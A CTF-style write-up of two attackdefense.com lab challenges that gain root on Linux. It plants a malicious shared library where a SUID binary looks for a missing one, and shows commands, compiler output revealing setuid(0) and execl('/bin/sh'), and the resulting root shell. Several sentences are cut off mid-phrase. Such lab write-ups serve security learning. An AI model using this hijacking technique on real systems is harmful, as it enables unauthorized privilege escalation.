Shared Library Injection
Look’s like I am first again to do a write-up for these challenges in the attackdefense.com intermediate and hard categories. Hopefully this post will help turn hard challenges into easy pwnage moving forward.
Library Chaos (Hard)
A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to
Your mission is to get a root shell on the box!
What are we looking for?
Why this command first? Well, I know we are looking to exploit a missing library reference to become root, this would be pointless if
student@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/welcome
/bin/mount
/bin/umount
/bin/su
/usr/bin/welcome stands out, so let’s try that…
student@attackdefense:~$ /usr/bin/welcome
/usr/bin/welcome: error while loading shared libraries: libwelcome.so: cannot open shared object file: No such file or directory
Error while loading shared libraries! This is exactly what we want to
Like any good testers, we want to know a little more before jumping in, so we take a look at the dynamic section of the elf to see more info about the library.
student@attackdefense:~$ readelf -d /usr/bin/welcome
...
0x0000000000000001 (NEEDED) Shared library: [libwelcome.so]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
...
Great, so we know it’s required but where does it load from? We can use LDD for that…
student@attackdefense:~$ LD_DEBUG=libs ldd /usr/bin/welcome | grep libwelcome.so | grep "trying file"
You will get a lot of results, you could put the library in any of these places but the first one is best for us as we know we can write to our own user directory.
86: trying file=/home/student/lib/libwelcome.so
Now we try the fun part, we have all the bits we need. We do need some code we want to run though, so I choose a standard library injection file.
student@attackdefense:~$ mkdir lib && cd lib
student@attackdefense:~$ vi shared-file.c
student@attackdefense:~$ gcc -shared -o libwelcome.so -fPIC shared-file.c
We try and run it, but we get an error.
student@attackdefense:~/lib$ /usr/bin/welcome
/usr/bin/welcome: symbol lookup error: /usr/bin/welcome: undefined symbol: welcome
Sounds scary, but don’t worry a symbol is basically a global variable exported from compiled source, we can just add a dummy int value. To check it really missing the symbol we can
student@attackdefense:~/lib$ readelf -s /usr/bin/welcome | grep welcome
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND welcome
51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND welcome
As expected, it wants the global variable as programmers know it but a symbol for the CPU sake.
The source code above exports the global variable welcome and that will fix the issue. Let’s re-try.
student@attackdefense:~/lib$ vi libwelcome.c
student@attackdefense:~/lib$ gcc -shared -o libwelcome.so -fPIC libwelcome.c
libwelcome.c: In function 'inject':
libwelcome.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setenv
libwelcome.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setenv
libwelcome.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
execl("/bin/sh","sh",0);
^~~~~
libwelcome.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
libwelcome.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:~/lib$ ls
libwelcome.c libwelcome.so shared-file.c
It will show warnings but that is ok, no re-run the setuid.

Got r00t! Awesome. See nothing to be scared of, this was easy once you know how. I will do later posts on running process injection for shared libraries but you can go check that out yourself now if you’re hungry for more shared library privilege escalation.
Library Chaos II (Intermediate)
A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges!
A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to
Your mission is to get a root shell on the box!
student@attackdefense:~$ /usr/local/bin/token
/usr/local/bin/token: error while loading shared libraries: librandom.so: cannot open shared object file: No such file or directory
student@attackdefense:~$ LD_DEBUG=libs ldd /usr/local/bin/token | grep librandom.so | grep "trying file"
...
20: find library=librandom.so [0]; searching
20: trying file=/tmp/lib/tls/x86_64/avx512_1/x86_64/librandom.so
...
student@attackdefense:~$ #/tmp/ lol, we know we can write there
student@attackdefense:~/lib$ mkdir -p /tmp/lib/tls/x86_64/avx512_1/x86_64
student@attackdefense:~$ cd /tmp/lib/tls/x86_64/avx512_1/x86_64
We should be all set but let’s check for exported symbols to be sure…
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ readelf -s /usr/local/bin/token | grep random_token
9: 0000000000201010 4 OBJECT GLOBAL DEFAULT 24 random_token
54: 0000000000201010 4 OBJECT GLOBAL DEFAULT 24 random_token
We just simply exported random_token as a symbol by declaring it as a global variable. Now to finish the escalation.
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ vi random_token.c
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ gcc -shared -o librandom.so -fPIC random_token.c
random_token.c: In function 'inject':
random_token.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setenv
random_token.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setenv
random_token.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
execl("/bin/sh","sh",0);
^~~~~
random_token.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
random_token.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ /usr/local/bin/token
# id
uid=0(root) gid=0(root) groups=0(root)
# echo "1337"
1337
# uname -a
Linux attackdefense.com 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Great, that was simple. Now we have all the knowledge we need to exploit missing SETUID libs in future, remember to always check even the common binaries that are ‘usually fruitless’, never underestimate the actions of drunk sysadmins.
